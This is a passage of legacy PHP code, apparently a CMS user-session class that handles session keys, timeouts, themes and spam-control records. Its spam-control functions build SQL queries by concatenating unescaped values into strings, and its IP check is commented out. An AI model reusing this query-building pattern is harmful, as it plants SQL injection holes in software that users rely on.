			  $sessionId = $this->GetUniqueKey();
			  $this->Set("SessionKey", $sessionId);    
			  $this->Set("CurrentTempKey",$sessionId);
              if($m_var_list["lang"])
              {              
                $this->Set("Language",$m_var_list["lang"]);
              }
              else
			    $this->Set("Language", $objLanguages->GetPrimary());
              $this->SetThemeName();
			  //$this->Set("Theme", $objConfig->Get("Default_Theme"));  
              $this->UpdateAccessTime();
              $this->Set("IpAddress", $_SERVER['REMOTE_ADDR'] );
              $this->Create();
            }
            else
                $this->Set("SessionKey","");
	}

    function SessionEnabled()
    {
       $res = FALSE;
       $key = $this->GetSessionKey(); 
       if(strlen($key)>0)
            $res = TRUE;
       return $res;
    }

	function GetSessionKey()
    {
       return $this->Get("SessionKey");
    }

    function SetThemeName($id=0)
    {
        global $objThemes;

        if($id==0)
            $id = $objThemes->GetPrimaryTheme();

        $Theme = $objThemes->GetItem($id);
        $name = $Theme->Get("Name");
        $this->Set("Theme",$name);
        //$this->Update();
    }

    function ValidSession($SessionKey=NULL)
	{
        global $objConfig;
        
        $a = $this->Get("LastAccessed");
        $cutoff = time()-$objConfig->Get("SessionTimeout");
        //echo $a." ".$cutoff."<br>";
        //$ip = ($_SERVER['REMOTE_ADDR'] == $this->Get("IpAddress"));
        //echo $this->Get("IpAddress");
        //$ip = TRUE;
        if ($a < $cutoff) {
        	//$this->UpdateAccessTime();
        }
        return ($a >= $cutoff);
        

    }

    function UpdateAccessTime()
    {
        $now = time();
        $this->Set("LastAccessed",$now);
    }

    function InSpamControl($ResourceId,$DataType=NULL)
    {
        static $ClearStat;

        if(!$ClearStat)
            $this->PurgeSpamControl();
        $ClearStat=1;
        if(strlen($DataType))
            $DataType="'".$DataType."'";
        $sql = "SELECT count(*) as SpamCount FROM ".GetTablePrefix()."SpamControl WHERE ItemResourceId=$ResourceId AND DataType=$DataType";
        if($this->Get("PortalUserId")==0)
        {
            $sql .= " AND PortalUserId=0 AND IPaddress='".$_SERVER["REMOTE_ADDR"]."'";
        }
        else
        {
            $sql .= " AND PortalUserId=".$this->Get("PortalUserId");
        }
        $rs = $this->adodbConnection->Execute($sql);
        $value = (int)$rs->fields["SpamCount"];
        if($value>0)
        {
            return TRUE;
        }
        else
            return FALSE;
    }

    function AddToSpamControl($ResourceId,$secstoexpire,$DataType=NULL)
    {
        $expire = adodb_date("U") + $secstoexpire;
        if(strlen($DataType))
            $DataType = "'".$DataType."'";
        $sql = "INSERT INTO ".GetTablePrefix()."SpamControl (ItemResourceId,IPaddress,Expire,PortalUserId,DataType) VALUES (";
        $sql .= $ResourceId.",'".$_SERVER["REMOTE_ADDR"]."',$expire,".$this->Get("PortalUserId").",$DataType)";
        //echo $sql;
        $this->adodbConnection->Execute($sql);
    }

    function PurgeSpamControl()
    {
        $sql = "DELETE FROM ".GetTablePrefix()."SpamControl WHERE Expire<".adodb_date("U");

        $this->adodbConnection->Execute($sql);
    }

}/* clsUserSession */
	
?>